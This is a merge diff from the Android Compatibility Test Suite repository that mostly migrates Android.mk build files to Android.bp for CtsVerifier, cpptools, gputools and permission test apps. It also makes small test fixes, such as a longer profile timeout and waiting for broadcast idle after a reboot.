Merge "Add some frameworks owners to util-axt"
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
new file mode 100644
index 0000000..01c579e
--- /dev/null
+++ b/apps/CtsVerifier/Android.bp
@@ -0,0 +1,4 @@
+filegroup {
+ name: "CtsVerifierMockVrListenerServiceFiles",
+ srcs: ["src/com/android/cts/verifier/vr/MockVrListenerService.java"],
+}
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 388d839..72800d0 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2298,6 +2298,7 @@
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
+ <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
</activity>
<activity android:name=".security.CANotifyOnBootActivity"
android:label="@string/caboot_test">
@@ -2308,6 +2309,7 @@
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
+ <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
</activity>
<activity android:name=".security.KeyChainTest"
diff --git a/apps/CtsVerifier/jni/Android.mk b/apps/CtsVerifier/jni/Android.mk
deleted file mode 100644
index 4343259..0000000
--- a/apps/CtsVerifier/jni/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
new file mode 100644
index 0000000..9227c75
--- /dev/null
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -0,0 +1,21 @@
+cc_test_library {
+ name: "libaudioloopback_jni",
+ srcs: [
+ "sles.cpp",
+ "jni_sles.c",
+ "audio_utils/atomic.c",
+ "audio_utils/fifo.c",
+ "audio_utils/roundup.c",
+ ],
+ shared_libs: [
+ "libOpenSLES",
+ "liblog",
+ ],
+ ldflags: ["-Wl,--hash-style=sysv"],
+ cflags: [
+ "-DSTDC_HEADERS",
+ "-Werror",
+ "-Wall",
+ ],
+ sdk_version: "23",
+}
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.mk b/apps/CtsVerifier/jni/audio_loopback/Android.mk
deleted file mode 100644
index 0223e4f..0000000
--- a/apps/CtsVerifier/jni/audio_loopback/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libaudioloopback_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- sles.cpp \
- jni_sles.c \
- audio_utils/atomic.c \
- audio_utils/fifo.c \
- audio_utils/roundup.c
-
-LOCAL_SHARED_LIBRARIES := \
- libOpenSLES \
- liblog
-
-LOCAL_LDFLAGS := -Wl,--hash-style=sysv
-
-LOCAL_CFLAGS := -DSTDC_HEADERS \
- -Werror -Wall
-
-LOCAL_SDK_VERSION := 23
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/apps/CtsVerifier/jni/verifier/Android.bp b/apps/CtsVerifier/jni/verifier/Android.bp
new file mode 100644
index 0000000..ddd6743
--- /dev/null
+++ b/apps/CtsVerifier/jni/verifier/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+ name: "libctsverifier_jni",
+ srcs: [
+ "CtsVerifierJniOnLoad.cpp",
+ "com_android_cts_verifier_camera_StatsImage.cpp",
+ ],
+ sdk_version: "current",
+ stl: "system",
+ shared_libs: ["liblog"],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-Wno-unused-variable",
+ ],
+
+}
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
deleted file mode 100644
index 9ee7eee..0000000
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsverifier_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- CtsVerifierJniOnLoad.cpp \
- com_android_cts_verifier_camera_StatsImage.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := system
-
-LOCAL_SHARED_LIBRARIES := liblog \
-
-LOCAL_CFLAGS := \
- -Wall -Werror \
- -Wno-unused-parameter \
- -Wno-unused-variable \
-
-include $(BUILD_SHARED_LIBRARY)
-
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
deleted file mode 100644
index d12caa8..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.junit.Before;
-
-/**
- * Device-side base class for tests leveraging the Business Logic service for rules that are
- * conditionally added based on the device characteristics.
- */
-public class BusinessLogicConditionalTestCase extends BusinessLogicTestCase {
-
- @Override
- @Before
- public void handleBusinessLogic() {
- super.loadBusinessLogic();
- ensureAuthenticated();
- super.executeBusinessLogic();
- }
-
- protected void ensureAuthenticated() {
- if (!mCanReadBusinessLogic) {
- // super class handles the condition that the service is unavailable.
- return;
- }
-
- if (!mBusinessLogic.mConditionalTestsEnabled) {
- skipTest("Execution of device specific tests is not enabled. "
- + "Enable with '--conditional-business-logic-tests-enabled'");
- }
-
- if (mBusinessLogic.isAuthorized()) {
- // Run test as normal.
- return;
- }
- String message = mBusinessLogic.getAuthenticationStatusMessage();
-
- // Fail test since request was not authorized.
- failTest(String.format("Unable to execute because %s.", message));
- }
-}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index b52a0b0..64a8e7c 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -12,7 +12,7 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-android_test {
+android_test_helper_app {
name: "CtsPermissionDeclareApp",
defaults: ["cts_support_defaults"],
srcs: ["src/**/*.java"],
@@ -26,7 +26,10 @@
],
// sign this app with a different cert than CtsUsePermissionDiffCert
certificate: ":cts-testkey1",
- dex_preopt: {
- enabled: false,
- },
+}
+
+java_library {
+ name: "CtsPermissionDeclareUtilLib",
+ srcs: ["src/com/android/cts/permissiondeclareapp/UtilsProvider.java"],
+ sdk_version: "current",
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
new file mode 100644
index 0000000..b11c4cc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsUsePermissionDiffCert",
+ defaults: ["cts_support_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ],
+ sdk_version: "current",
+ static_libs: [
+ "CtsPermissionDeclareUtilLib",
+ "androidx.test.rules",
+ ],
+ libs: ["android.test.base.stubs"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ // sign this app with a different cert than CtsPermissionDeclareApp
+ certificate: ":cts-testkey2",
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
deleted file mode 100644
index 9233605..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
- ../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsPermissionDeclareApp
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/cpptools/Android.bp b/hostsidetests/cpptools/Android.bp
new file mode 100644
index 0000000..208e734
--- /dev/null
+++ b/hostsidetests/cpptools/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsCppToolsTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "ddmlib-prebuilt",
+ "tradefed",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 8078290..10ba650 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -13,23 +13,4 @@
# limitations under the License.
LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsCppToolsTestCases
-
-LOCAL_JAVA_LIBRARIES := ddmlib-prebuilt tradefed
-
-LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
new file mode 100644
index 0000000..f96f5a5
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsCppToolsApp",
+ defaults: ["cts_support_defaults"],
+ // Don't include this package in any target.
+ // When built, explicitly put it in the data partition.
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/Android.mk b/hostsidetests/cpptools/test-apps/BasicApp/Android.mk
deleted file mode 100644
index 2719cd9..0000000
--- a/hostsidetests/cpptools/test-apps/BasicApp/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsCppToolsApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
new file mode 100644
index 0000000..d4dab8b
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsDomainSocket",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ static_libs: ["androidx.test.rules"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.mk b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.mk
deleted file mode 100644
index b018cc9..0000000
--- a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsDomainSocket
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index e97f897..343a547 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -14,6 +14,23 @@
LOCAL_PATH:= $(call my-dir)
+# $(1) name of the xml file to be created
+# $(2) path to the api text file
+define build_xml_api_file
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-$(subst .,-,$(1))
+LOCAL_MODULE_STEM := $(1)
+LOCAL_MODULE_CLASS := ETC
+LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+include $(BUILD_SYSTEM)/base_rules.mk
+$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
+ @echo "Convert API file $$< -> $$@"
+ @mkdir -p $$(dir $$@)
+ $(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
+endef
+
+$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
+
include $(CLEAR_VARS)
LOCAL_MODULE := CtsDevicePolicyManagerTestCases
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index d52a184..48d8182 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -495,6 +495,8 @@
Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
// Reboot the device, so the security event IDs are re-set.
rebootAndWaitUntilReady();
+ // Make sure BOOT_COMPLETED is completed before proceeding.
+ waitForBroadcastIdle();
// First batch after reboot: retrieve and verify the events.
executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval",
Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 360e141..b81afd2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -76,7 +76,7 @@
private static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
- private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(30);
+ private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(60);
private static final String PARAM_PROFILE_ID = "profile-id";
diff --git a/hostsidetests/gputools/Android.bp b/hostsidetests/gputools/Android.bp
new file mode 100644
index 0000000..dc8ac4f
--- /dev/null
+++ b/hostsidetests/gputools/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsGpuToolsHostTestCases",
+ srcs: ["src/**/*.java"],
+ // tag this module as a cts test artifact
+ test_suites: ["cts"],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+ static_libs: ["platform-test-annotations-host"],
+}
diff --git a/hostsidetests/gputools/Android.mk b/hostsidetests/gputools/Android.mk
deleted file mode 100644
index b2946be..0000000
--- a/hostsidetests/gputools/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MODULE := CtsGpuToolsHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := platform-test-annotations-host
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/gputools/apps/Android.bp b/hostsidetests/gputools/apps/Android.bp
new file mode 100644
index 0000000..123fcbe
--- /dev/null
+++ b/hostsidetests/gputools/apps/Android.bp
@@ -0,0 +1,71 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+ name: "libctsgputools_jni",
+ gtest: false,
+ srcs: [
+ "jni/CtsGpuToolsJniOnLoad.cpp",
+ "jni/android_gputools_cts_RootlessGpuDebug.cpp",
+ ],
+ cflags: [
+ "-std=c++14",
+ "-Wall",
+ "-Werror",
+ ],
+ shared_libs: [
+ "libandroid",
+ "libvulkan",
+ "liblog",
+ ],
+ stl: "c++_shared",
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "CtsGpuToolsRootlessGpuDebugApp-DEBUG",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ // tag this module as a cts test artifact
+ test_suites: ["cts"],
+ compile_multilib: "both",
+ jni_libs: ["libctsgputools_jni"],
+ aaptflags: [
+ "--rename-manifest-package",
+ "android.rootlessgpudebug.DEBUG.app",
+ "--debug-mode",
+ ],
+ use_embedded_native_libs: false,
+ stl: "c++_shared",
+}
+
+android_test_helper_app {
+ name: "CtsGpuToolsRootlessGpuDebugApp-RELEASE",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ // tag this module as a cts test artifact
+ test_suites: ["cts"],
+ compile_multilib: "both",
+ jni_libs: [
+ "libctsgputools_jni",
+ "libVkLayer_nullLayerC",
+ ],
+ aaptflags: [
+ "--rename-manifest-package android.rootlessgpudebug.RELEASE.app",
+ ],
+ use_embedded_native_libs: false,
+ stl: "c++_shared",
+}
diff --git a/hostsidetests/gputools/apps/Android.mk b/hostsidetests/gputools/apps/Android.mk
deleted file mode 100644
index b3f58bb..0000000
--- a/hostsidetests/gputools/apps/Android.mk
+++ /dev/null
@@ -1,74 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libctsgputools_jni
-LOCAL_SRC_FILES := \
- jni/CtsGpuToolsJniOnLoad.cpp \
- jni/android_gputools_cts_RootlessGpuDebug.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE_TAGS := tests
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-DEBUG
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libctsgputools_jni
-
-LOCAL_AAPT_FLAGS := \
---rename-manifest-package android.rootlessgpudebug.DEBUG.app \
---debug-mode
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE_TAGS := tests
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-RELEASE
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libctsgputools_jni \
-libVkLayer_nullLayerC
-
-LOCAL_AAPT_FLAGS := \
---rename-manifest-package android.rootlessgpudebug.RELEASE.app
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/gputools/layers/Android.bp b/hostsidetests/gputools/layers/Android.bp
new file mode 100644
index 0000000..cb6873a
--- /dev/null
+++ b/hostsidetests/gputools/layers/Android.bp
@@ -0,0 +1,89 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+ name: "libVkLayer_nullLayerA",
+ gtest: false,
+ srcs: ["jni/nullLayer.cpp"],
+ cflags: [
+ "-std=c++14",
+ "-Wall",
+ "-Werror",
+ "-fvisibility=hidden",
+ "-DLAYERNAME=A",
+ ],
+ shared_libs: [
+ "libandroid",
+ "libvulkan",
+ "liblog",
+ ],
+ stl: "c++_shared",
+ sdk_version: "current",
+}
+
+cc_test_library {
+ name: "libVkLayer_nullLayerB",
+ gtest: false,
+ srcs: ["jni/nullLayer.cpp"],
+ cflags: [
+ "-std=c++14",
+ "-Wall",
+ "-Werror",
+ "-fvisibility=hidden",
+ "-DLAYERNAME=B",
+ ],
+ shared_libs: [
+ "libandroid",
+ "libvulkan",
+ "liblog",
+ ],
+ stl: "c++_shared",
+ sdk_version: "current",
+}
+
+cc_test_library {
+ name: "libVkLayer_nullLayerC",
+ gtest: false,
